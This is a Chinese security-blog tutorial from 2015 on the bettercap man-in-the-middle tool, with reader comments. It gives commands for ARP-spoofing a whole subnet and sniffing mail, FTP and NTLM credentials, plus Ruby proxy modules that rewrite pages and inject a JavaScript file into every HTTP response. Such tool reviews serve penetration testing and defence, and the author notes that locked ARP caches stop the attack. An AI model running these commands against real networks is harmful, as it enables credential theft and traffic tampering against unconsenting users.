中间人攻击利用框架bettercap测试

三好学生 2015-07-28 11:28:00

0x00前言


上篇提到内网渗透很有趣,这次就从一款新工具说起: bettercap

0x01简介


bettercap可用来实现各种中间人攻击,模块化,便携、易扩展

0x02特点


提到中间人攻击,最知名的莫过于ettercap,而开发bettercap的目的不是为了追赶它,而是替代它 原因如下:

1、ettercap很成功,但在新时代下它已经老了 2、ettercap的过滤器复杂,使用门槛高 3、在大型网络下,主机发现功能效果很差 4、优化不够,对研究人员来说,无用的功能太多 5、扩展性不够,开发需要掌握C/C++语言

0x03测试环境搭建


kali linux:

git clone https://github.com/evilsocket/bettercap
cd bettercap
gem build bettercap.gemspec
sudo gem install bettercap*.gem

如果报错,如图:

执行如下命令:

sudo apt-get install ruby-dev libpcap-dev
sudo gem install bettercap*.gem   

最后成功,如图:

0x04参数说明


已做翻译并加入个人理解

用法:

-I, --interface IFACE 指定Network interface name,默认eth0

-S, --spoofer NAME 指定欺骗模块,此参数默认为ARP,目前仅支持ARP,新版本会添加更多选项

-T, --target ADDRESS 指定单一ip,如果未设置,则代表所有子网,子网所有主机自动扫描,简单高效,十分推荐
-O, --log LOG_FILE 日志功能

-D, --debug 调试功能,会将每一步操作详细记录,便于调试

-L, --local 解析流经本机的所有数据包(此操作会开启嗅探器),此参数默认为关闭

-X, --sniffer 开启嗅探器. --sniffer-pcap FILE 将数据包保存为PCAP文件,可用Wireshark打开(此操作会开启嗅探器) --sniffer-filter EXPRESSION 配置嗅探器使用BPF过滤器(此操作会开启嗅探器)

-P, --parsers PARSERS 指定数据包(此操作会开启嗅探器),支持NTLMSS, IRC, POST, URL, FTP, HTTPS, HTTPAUTH, MAIL,此参数默认为所有 --no-discovery 只使用当前的ARP缓存,不去扫描其他主机,此参数默认为关闭 --no-spoofing 关闭欺骗模块,也可以使用参数--spoofer NONE代替 --proxy 启用HTTP代理并且重定向所有HTTP请求至本机,此参数默认为关闭 --proxy-port PORT 设置HTTP代理端口,此参数默认为8080 --proxy-module MODULE 指定加载的Ruby模块 --httpd 开启HTTP服务器,此参数默认为关闭 --httpd-port PORT 指定HTTP server port, 此参数默认为8081. --httpd-path PATH 指定HTTP server path,此参数默认为 ./.

-h, --help 英文帮助

0x05功能测试


1、HOST DISCOVERY + ARP MAN IN THE MIDDLE

sudo bettercap -X

扫描全部内网主机,傻瓜式操作,自动扫描并进行arp欺骗,使所有流量经过本机,如图

2、CREDENTIALS SNIFFER

抓取流量中有价值的信息,包括:

URLs being visited.
HTTPS host being visited.
HTTP POSTed data.
HTTP Basic and Digest authentications.
FTP credentials.
IRC credentials.
POP, IMAP and SMTP credentials.
NTLMv1/v2 ( HTTP, SMB, LDAP, etc ) credentials.

用法举例:

默认傻瓜模式,开启所有功能:

sudo bettercap -X

如图为抓到的163邮箱登陆数据

指定抓取的数据包:

sudo bettercap -X -P "FTP,HTTPAUTH,MAIL,NTLMSS"

如图为抓到192.168.40.146的FTP

3、MODULAR TRANSPARENT PROXY

代理功能,可以拦截篡改HTTP流量

用法举例:

开启代理功能:

sudo bettercap --proxy

开启代理功能并指定端口:

sudo bettercap --proxy --proxy-port=8081

关闭arp欺骗,只开启代理

sudo bettercap -S NONE --proxy

开启代理功能并加载指定的Ruby模块

sudo bettercap --proxy --proxy-module=hack_title.rb

Ruby参考示例:

class HackTitle < Proxy::Module
  def on_request( request, response )
    # is it a html page?
    if response.content_type == 'text/html'
      Logger.info "Hacking http://#{request.host}#{request.url} title tag"
      # make sure to use sub! or gsub! to update the instance
      response.body.sub!( '<title>', '<title> !!! HACKED !!! ' )
    end
  end
end

功能为替换所有html的标题选项

4、BUILTIN HTTP SERVER

内置HTTP SERVER功能,可篡改HTTP响应包内容

用法举例:

在网络的每一个HTTP响应中注入JS文件

sudo bettercap --httpd --http-path=/path/to/your/js/file/ --proxy --proxy-module=inject.rb

Ruby参考示例:

class InjectJS < Proxy::Module
  def on_request( request, response )
    # is it a html page?
    if response.content_type == 'text/html'
      Logger.info "Injecting javascript file into http://#{request.host}#{request.url} page"
      # get the local interface address and HTTPD port
      localaddr = Context.get.iface[:ip_saddr]
      localport = Context.get.options[:httpd_port]
      # inject the js
      response.body.sub!( '</title>', "</title><script src='http://#{localaddr}:#{localport}/file.js' 

type='text/javascript'></script>" )
    end
  end
end

0x06测试心得


亮点:

中间人攻击利用框架的开发,便携,安装简单 整合了各种常用功能,功能模块化,自动欺骗攻击,提高效率 极大降低了工具的使用和开发门槛

不足:

目前只支持arp欺骗,功能仍需完善。
暂不支持windows

0x07总结


之前我用过c++开发arp欺骗&中间人攻击的程序,个人认为arp欺骗的成功与否关键在于ARP缓存表的修改,锁定ARP缓存表目前就能防御bettercap基于arp的中间人攻击但我相信,bettercap的前景十分广阔。

0x08补充


bettercap下载地址:

http://www.bettercap.org/

水平有限,欢迎补充。

评论

2

2mi 2015-07-28 13:05:08

看完fb的文章 ,就看到了这个。。前排顶一下。。

独奏大表哥 2015-07-28 17:52:52

mark

I

izy 2015-07-29 00:03:53

http get的cookie怎么显示出来?

三好学生 2015-07-29 07:52:45

@izy 从理论上将,根据OSI参考模型,基于arp的中间人攻击,上层所有的http数据都可以获取到,所以http get的cookie如果有,就会被获取,具体到bettercap来说,sudo bettercap -X就可以,傻瓜式操作,自动扫描并进行arp欺骗,使所有流量经过本机,解析并显示。

I

izy 2015-07-29 08:53:53

可这是实际测试中,只显示了HTTP post包,get包只显示了去向,官方文档也没这方面的说明,我去看看源码看能不能让它同时显示出来吧。

三好学生 2015-07-29 09:48:34

@izy 可以用-D, --debug 调试功能配合修改

我是360安全忍者小号r00t4dm 2015-07-30 17:15:29

这个工具牛逼,我认为可以替代ettercap。
mark!

三好学生 2015-08-05 10:11:04

@serber -T 指定目标ip

C

cnb 2015-08-06 09:16:42

arp欺骗有啥前景?防御简单,攻击被发现的概率太大了吧

三好学生 2015-08-06 10:32:45

@cnb 建议你看一下 to do list ;深入研究一下arp,你会有更多收获;)

路人甲 2016-01-11 10:11:11

请问下在centos上有安装嘛?

武器大师 2016-03-07 22:54:01

@三好学生 确实无法获取get的cookie,其实get里面还是会有很多有价值的cookie的
@izy 不知道有没有找到解决办法

D

dmzlabs 2016-03-23 00:34:15

14 git clone https://github.com/evilsocket/bettercap
15 cd bettercap
16 gem build bettercap.gemspec
17 sudo gem install bettercap*.gem
18 sudo apt-get install ruby-dev libpcap-dev
19 sudo gem install bettercap*.gem
20 gem sources --add https://ruby.taobao.org/ --remove https://rubygems.org
21 gem sources -l
22 gem sources --add https://ruby.taobao.org/ --remove https://rubygems.org
23 gem sources -l
24 gem sources --remove https://rubygems.org
25 sudo gem install bettercap*.gem
26 bettercap
粘贴一下我的安装命令吧 嘻嘻

三好学生

good in study,attitude and health

twitter weibo github wechat

随机分类

安全管理 文章:7 篇
iOS安全 文章:36 篇
漏洞分析 文章:212 篇
memcache安全 文章:1 篇
硬件与物联网 文章:40 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

H

hgsmonkey

tql!!!

目录